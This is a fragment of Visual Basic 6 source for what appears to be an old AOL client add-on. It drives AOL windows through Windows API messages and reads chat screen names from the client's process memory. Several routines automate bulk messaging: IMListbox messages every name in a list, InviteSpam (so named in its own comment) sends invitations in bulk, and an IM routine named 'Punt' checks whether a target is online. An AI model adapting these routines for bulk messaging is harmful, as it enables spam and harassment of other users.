mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
gWin& = FindSignOnWindow
Loop Until gWin& <> 0&
GuestSignOn25 = 5
End If
End Function
Public Sub hideaol()
'hides aol
Dim aol As Long
aol& = FindWindow("AOL Frame25", vbNullString)
Call ShowWindow(aol&, SW_HIDE)
End Sub
Public Function hWndAOLVersion(AOLhWnd As Long) As String
'gets the aol version of whatever
'long value you put in
'this code was made for the:
'"clone_*" subs
Dim aol As Long, gMenu As Long, Mnu As Long
Dim sMenu As Long, sItem As Long, mString As String
Dim fString As Long, tb As Long, TBar As Long
Dim tCombo As Long, tEdit As Long
aol& = AOLhWnd&
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
TBar& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
tCombo& = FindWindowEx(TBar&, 0&, "_AOL_Combobox", vbNullString)
tEdit& = FindWindowEx(tCombo&, 0&, "Edit", vbNullString)
If tEdit& <> 0& Then
gMenu& = GetMenu(AOLhWnd&)
sMenu& = GetSubMenu(gMenu&, 4&)
sItem& = GetMenuItemID(sMenu&, 9&)
mString$ = String$(100, " ")
fString& = GetMenuString(sMenu&, sItem&, mString$, 100, 1)
If InStr(1, LCase(mString$), LCase("&What's New in AOL 5.0")) <> 0& Then
hWndAOLVersion = "5"
Else
hWndAOLVersion = "4"
End If
ElseIf tEdit& = 0& Then
gMenu& = GetMenu(AOLhWnd&)
Mnu& = GetMenuItemCount(GetMenu(AOLhWnd&))
If Mnu& = 8 Then
sMenu& = GetSubMenu(gMenu&, 1)
sItem& = GetMenuItemID(sMenu&, 8)
mString$ = String$(100, " ")
Else
sMenu& = GetSubMenu(gMenu&, 0)
sItem& = GetMenuItemID(sMenu&, 8)
mString$ = String$(100, " ")
End If
fString& = GetMenuString(sMenu&, sItem&, mString$, 100, 1)
If InStr(1, LCase(mString$), LCase("&LOGGING...")) <> 0& Then
hWndAOLVersion = "2.5"
Else
hWndAOLVersion = "3"
End If
End If
End Function
Public Sub IgnoreIndex(rIndex As Long, Unx As Boolean)
'ignores screen name by index
'if you want to ignore them, make unx = false
'if you want to unignore them, make unx = true
Dim rWin As Long, rList As Long, xWin As Long
Dim xCheck As Long, xState As Long
If rIndex& > RoomCount& - 1 Then Exit Sub
rWin& = FindRoom&
rList& = FindWindowEx(rWin&, 0&, "_AOL_Listbox", vbNullString)
Call SendMessage(rList&, LB_SETCURSEL, rIndex&, 0&)
Call PostMessage(rList&, WM_LBUTTONDBLCLK, 0&, 0&)
Do
DoEvents
xWin& = FindIgnore
Loop Until xWin& <> 0&
xCheck& = FindWindowEx(xWin&, 0&, "_AOL_Checkbox", vbNullString)
Do
DoEvents
xState& = SendMessage(xCheck&, BM_GETCHECK, 0&, 0&)
If Unx = False Then
If xState& = 1 Then Exit Do
Else
If xState& = 0 Then Exit Do
End If
Call PostMessage(xCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(xCheck&, WM_LBUTTONUP, 0&, 0&)
Loop 'Until xState& <> 0&
Call PostMessage(xWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub IgnoreIndex25(rIndex As Long, Unx As Boolean)
'ignores screen name by index
'if you want to ignore them, make unx = false
'if you want to unignore them, make unx = true
Dim rWin As Long, rList As Long, xWin As Long
Dim xCheck As Long, xState As Long
If rIndex& > RoomCount25& - 1 Then Exit Sub
rWin& = FindRoom25&
rList& = FindWindowEx(rWin&, 0&, "_AOL_Listbox", vbNullString)
Call SendMessage(rList&, LB_SETCURSEL, rIndex&, 0&)
Call PostMessage(rList&, WM_LBUTTONDBLCLK, 0&, 0&)
Do
DoEvents
xWin& = FindIgnore25
Loop Until xWin& <> 0&
xCheck& = FindWindowEx(xWin&, 0&, "_AOL_Button", vbNullString)
Do
DoEvents
xState& = SendMessage(xCheck&, BM_GETCHECK, 0&, 0&)
If Unx = False Then
If xState& = 1 Then Exit Do
Else
If xState& = 0 Then Exit Do
End If
Call PostMessage(xCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(xCheck&, WM_LBUTTONUP, 0&, 0&)
Loop 'Until xState& <> 0&
Call PostMessage(xWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub IgnoreName(sName As String, Unx As Boolean, Optional exact As Boolean)
'ignores screen name in chat using
'their name as a string.
'if you want to ignore him, make unx = false
'if you want to unignore him, make unx = true
On Error Resume Next
Dim rWin As Long, rList As Long, sThread As Long, mThread As Long
Dim screenname As String, itmHold As Long, psnHold As Long
Dim cProcess As Long, Index As Long, rBytes As Long
rWin& = FindRoom&
If rWin& = 0& Then Exit Sub
rList& = FindWindowEx(rWin&, 0&, "_AOL_Listbox", vbNullString)
sThread& = GetWindowThreadProcessId(rList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
For Index& = 0 To SendMessage(rList, LB_GETCOUNT, 0, 0) - 1
screenname$ = String$(4, vbNullChar)
itmHold& = SendMessage(rList, LB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itmHold& = itmHold& + 24
Call ReadProcessMemory(mThread&, itmHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(16, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
If screenname$ <> GetUser$ Then
If exact = False Then
If InStr(1, LCase(TrimSpaces(screenname$)), LCase(TrimSpaces(sName$))) <> 0& Then
Call IgnoreIndex(Index&, Unx)
End If
Else
If LCase(screenname$) = LCase(sName$) Then
Call IgnoreIndex(Index&, Unx)
End If
End If
End If
Next Index&
Call CloseHandle(mThread)
End If
End Sub
Public Sub IgnoreName25(sName As String, Unx As Boolean, Optional exact As Boolean)
'ignores screen name in chat using
'their name as a string.
'if you want to ignore him, make unx = false
'if you want to unignore him, make unx = true
'this sub only works for me on 3.0..
'on 2.5 it gets every sn as 'p' because
'aol 2.5 is 16 bit
On Error Resume Next
Dim rWin As Long, rList As Long, sThread As Long, mThread As Long
Dim screenname As String, itmHold As Long, psnHold As Long
Dim cProcess As Long, Index As Long, rBytes As Long, kai As String
rWin& = FindRoom25&
If rWin& = 0& Then Exit Sub
rList& = FindWindowEx(rWin&, 0&, "_AOL_Listbox", vbNullString)
sThread& = GetWindowThreadProcessId(rList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
For Index& = 0 To SendMessage(rList, LB_GETCOUNT, 0, 0) - 1
screenname$ = String$(4, vbNullChar)
itmHold& = SendMessage(rList, LB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itmHold& = itmHold& + 24
Call ReadProcessMemory(mThread&, itmHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(16, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
If screenname$ <> GetUser$ And Trim(screenname$) <> "" Then
If exact = False Then
screenname$ = LCase(TrimSpaces(screenname$))
sName$ = LCase(TrimSpaces(sName$))
If InStr(1, screenname$, sName$) <> 0& Then
Call IgnoreIndex25(Index&, Unx)
pause (0.6)
End If
Else
If LCase(screenname$) = LCase(sName$) Then
Call IgnoreIndex25(Index&, Unx)
pause (0.6)
End If
End If
End If
Next Index&
Call CloseHandle(mThread)
End If
End Sub
Public Sub IMListbox(list As ListBox, Message As String)
'sends an im to every
'item(sn) in the listbox
Dim imLong As Long
For imLong& = 0& To list.ListCount - 1
Call InstantMessage(list.list(imLong&), Message$)
pause (2)
Next imLong&
End Sub
Public Sub ImsOff()
'turns user's im's off
Dim aol As Long, mdi As Long
Dim IMWin As Long, imEdit As Long, imCNTL As Long
Dim imicon As Long, imLong As Long
Dim ciWin As Long, ciBut As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call IMsOff25
Exit Sub
End If
Call ToolKeyword("aol://9293:$im_off")
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
imCNTL& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Loop Until IMWin& <> 0& And imEdit& <> 0& And imCNTL& <> 0& And imicon& <> 0&
pause (0.1)
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, "$IM_OFF")
Call SendMessageByString(imCNTL&, WM_SETTEXT, 0&, "ims off")
Call SendMessage(imicon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(imicon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
ciWin& = FindWindow("#32770", "America Online")
ciBut& = FindWindowEx(ciWin&, 0&, "Button", "OK")
Loop Until ciWin& <> 0& And ciBut& <> 0&
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub IMsOff25()
'turns user's im's off
Dim aol As Long, mdi As Long
Dim IMWin As Long, imEdit As Long, imEdit2 As Long, IMButton As Long, imLong As Long
Dim ciWin As Long, ciBut As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("send an instant message")
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
imEdit2& = FindWindowEx(IMWin&, imEdit&, "_AOL_Edit", vbNullString)
Else
imEdit2& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
End If
If AOLVersion = "2.5" Then
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Button", "Available?")
Else
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Loop Until IMButton& <> 0& And imEdit& <> 0& And imEdit2& <> 0& And IMButton& <> 0&
If AOLVersion = "3" Then
pause (0.1)
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, "$IM_OFF")
Call SendMessageByString(imEdit2&, WM_SETTEXT, 0&, "im off")
If AOLVersion = "3" Then
Call SendMessage(IMButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(IMButton&, WM_LBUTTONUP, 0&, 0&)
Else
Call SendMessage(IMButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(IMButton&, WM_KEYUP, VK_SPACE, 0&)
End If
Do
DoEvents
ciWin& = FindWindow("#32770", "America Online")
ciBut& = FindWindowEx(ciWin&, 0&, "Button", "OK")
Loop Until ciWin& <> 0& And ciBut& <> 0&
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub imson()
'turns user's im's on
Dim aol As Long, mdi As Long
Dim IMWin As Long, imEdit As Long, imCNTL As Long
Dim imicon As Long, imLong As Long
Dim ciWin As Long, ciBut As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call IMsOn25
Exit Sub
End If
Call ToolKeyword("aol://9293:$im_on")
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
imCNTL& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Loop Until IMWin& <> 0& And imEdit& <> 0& And imCNTL& <> 0& And imicon& <> 0&
pause (0.1)
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, "$IM_ON")
Call SendMessageByString(imCNTL&, WM_SETTEXT, 0&, "ims on")
Call SendMessage(imicon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(imicon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
ciWin& = FindWindow("#32770", "America Online")
ciBut& = FindWindowEx(ciWin&, 0&, "Button", "OK")
Loop Until ciWin& <> 0& And ciBut& <> 0&
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub IMsOn25()
'turns user's im's on
Dim aol As Long, mdi As Long
Dim IMWin As Long, imEdit As Long, imEdit2 As Long, IMButton As Long, imLong As Long
Dim ciWin As Long, ciBut As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("send an instant message")
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
imEdit2& = FindWindowEx(IMWin&, imEdit&, "_AOL_Edit", vbNullString)
Else
imEdit2& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
End If
If AOLVersion = "2.5" Then
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Button", "Available?")
Else
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Loop Until IMButton& <> 0& And imEdit& <> 0& And imEdit2& <> 0& And IMButton& <> 0&
If AOLVersion = "3" Then
pause (0.1)
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, "$IM_ON")
Call SendMessageByString(imEdit2&, WM_SETTEXT, 0&, "im on")
If AOLVersion = "3" Then
Call SendMessage(IMButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(IMButton&, WM_LBUTTONUP, 0&, 0&)
Else
Call SendMessage(IMButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(IMButton&, WM_KEYUP, VK_SPACE, 0&)
End If
Do
DoEvents
ciWin& = FindWindow("#32770", "America Online")
ciBut& = FindWindowEx(ciWin&, 0&, "Button", "OK")
Loop Until ciWin& <> 0& And ciBut& <> 0&
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub InstantMessage(screenname As String, Message As String)
'sends an instant message
'to a screen name w/ message
Dim aol As Long, mdi As Long, mWin As Long, mBut As Long
Dim IMWin As Long, imicon As Long, imLong As Long, imCNTL As Long, imEdit As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call InstantMessage25(screenname$, Message$)
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call Keyword("aol://9293:" + screenname$)
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
imCNTL& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
Loop Until IMWin& <> 0& And imicon& <> 0& And imCNTL& <> 0& And imEdit& <> 0&
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(imCNTL&, WM_SETTEXT, 0&, Message$)
pause (0.1)
Call SendMessage(imicon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(imicon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until IMWin& = 0& Or mWin& <> 0& And mBut& <> 0&
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End If
End Sub
Public Function InstantMessagePunt(screenname As String, Message As String) As Boolean
'sends an instant message
'to a screen name w/ message
Dim aol As Long, mdi As Long, mWin As Long, mBut As Long, mSta As Long, mStr As String
Dim IMWin As Long, imicon As Long, imLong As Long, imCNTL As Long, imEdit As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
InstantMessagePunt = InstantMessagePunt25(screenname$, Message$)
Exit Function
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call Keyword("aol://9293:" + screenname$)
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
imCNTL& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
Loop Until IMWin& <> 0& And imicon& <> 0& And imCNTL& <> 0& And imEdit& <> 0&
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(imCNTL&, WM_SETTEXT, 0&, Message$)
pause (0.1)
Call SendMessage(imicon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(imicon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
mSta& = FindWindowEx(mWin&, 0&, "Static", vbNullString)
mSta& = FindWindowEx(mWin&, mSta&, "Static", vbNullString)
mStr$ = GetText(mSta&)
Loop Until IMWin& = 0& Or mWin& <> 0& And mBut& <> 0& And mStr$ <> ""
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End If
If InStr(1, mStr$, "currently signed on") <> 0& Then
InstantMessagePunt = True
Else
InstantMessagePunt = False
End If
End Function
Public Sub InstantMessage25(screenname As String, Message As String)
'sends an instant message
'to a screen name w/ message
'works for 3.0 and 2.5
Dim aol As Long, mdi As Long, IMWin As Long, imSN As Long
Dim IMmessage As Long, IMButton As Long, mWin As Long, mBut As Long, imLong As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
'Call KeyWord25("aol://9293:" + ScreenName$)
Call RunMenuByString("send an instant message")
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imSN& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
IMmessage& = FindWindowEx(IMWin&, imSN&, "_AOL_Edit", vbNullString)
Else
IMmessage& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
End If
If AOLVersion = "2.5" Then
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Button", "Send")
Else
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Loop Until IMWin& <> 0& And IMmessage& <> 0& And IMButton& <> 0&
Call SendMessageByString(imSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(IMmessage&, WM_SETTEXT, 0&, Message$)
If AOLVersion = "2.5" Then
Call PostMessage(IMButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(IMButton&, WM_KEYUP, VK_SPACE, 0&)
Else
Call PostMessage(IMButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(IMButton&, WM_LBUTTONUP, 0&, 0&)
End If
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
Loop Until mWin& <> 0& And mBut& <> 0& Or IMWin& = 0&
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End If
End Sub
Public Function InstantMessagePunt25(screenname As String, Message As String) As Boolean
'sends an instant message
'to a screen name w/ message
'works for 3.0 and 2.5
Dim aol As Long, mdi As Long, IMWin As Long, imSN As Long, mSta As Long, mStr As String
Dim IMmessage As Long, IMButton As Long, mWin As Long, mBut As Long, imLong As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("send an instant message")
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imSN& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
IMmessage& = FindWindowEx(IMWin&, imSN&, "_AOL_Edit", vbNullString)
Else
IMmessage& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
End If
If AOLVersion = "2.5" Then
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Button", "Send")
Else
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Loop Until IMWin& <> 0& And IMmessage& <> 0& And IMButton& <> 0&
Call SendMessageByString(imSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(IMmessage&, WM_SETTEXT, 0&, Message$)
If AOLVersion = "2.5" Then
Call PostMessage(IMButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(IMButton&, WM_KEYUP, VK_SPACE, 0&)
Else
Call PostMessage(IMButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(IMButton&, WM_LBUTTONUP, 0&, 0&)
End If
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
mSta& = FindWindowEx(mWin&, 0&, "Static", vbNullString)
mSta& = FindWindowEx(mWin&, mSta&, "Static", vbNullString)
mStr$ = GetText(mSta&)
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
Loop Until mWin& <> 0& And mBut& <> 0& And mStr$ <> "" Or IMWin& = 0&
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End If
If InStr(1, mStr$, "currently signed on") <> 0& Then
InstantMessagePunt25 = True
Else
InstantMessagePunt25 = False
End If
End Function
Public Sub InviteSpam(screenname As String, Message As String, KW As String)
'i like this sub ;D
'it spams / invites the screennames
'you put in by using the buddy chat feature
'on aol's buddylist
Dim aol As Long, mdi As Long, bWin As Long, bIcon As Long
Dim sWin As Long, sSN As Long, sMessage As Long, sKeyWord As Long
Dim sCheck As Long, sIcon As Long, sPrivate As Long
Dim sCancel As Long, mWin As Long, mBut As Long, bIcon2 As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If bWin& = 0& Then
If AOLVersion = "4" Or AOLVersion = "5" Then
Call Keyword("bv")
Else
Call KeyWord25("bv")
End If
Do
DoEvents
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon2& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Loop Until bWin& <> 0& And bIcon2& <> 0&
pause (0.5)
End If
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(bIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(bIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy Chat")
sSN& = FindWindowEx(sWin&, 0&, "_AOL_Edit", vbNullString)
sMessage& = FindWindowEx(sWin&, sSN&, "_AOL_Edit", vbNullString)
sPrivate& = FindWindowEx(sWin&, sMessage&, "_AOL_Edit", vbNullString)
sKeyWord& = FindWindowEx(sWin&, sPrivate&, "_AOL_Edit", vbNullString)
If AOLVersion = "4" Or AOLVersion = "5" Then
sCheck& = FindWindowEx(sWin&, 0&, "_AOL_Checkbox", vbNullString)
sCheck& = FindWindowEx(sWin&, sCheck&, "_AOL_Checkbox", vbNullString)
Else
sCheck& = FindWindowEx(sWin&, 0&, "_AOL_Button", vbNullString)
sCheck& = FindWindowEx(sWin&, sCheck&, "_AOL_Button", vbNullString)
End If
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
sCancel& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
Loop Until sWin& <> 0& And sKeyWord& <> 0& And sCheck <> 0& And sIcon <> 0&
Call SendMessage(sCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sCheck&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(sCheck&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(sCheck&, WM_KEYUP, VK_SPACE, 0&)
Call SendMessageByString(sSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(sMessage&, WM_SETTEXT, 0&, Message$)
Call SendMessageByString(sKeyWord&, WM_SETTEXT, 0&, KW$)
Call SendMessageByString(sPrivate&, WM_SETTEXT, 0&, "")
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy Chat")
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until sWin& <> 0& Or mWin& <> 0& And mBut& <> 0&
If mWin& <> 0& Then
Call PostMessage(mWin&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mWin&, WM_KEYUP, VK_SPACE, 0&)
Call SendMessage(sCancel&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sCancel&, WM_LBUTTONUP, 0&, 0&)
End If
End Sub
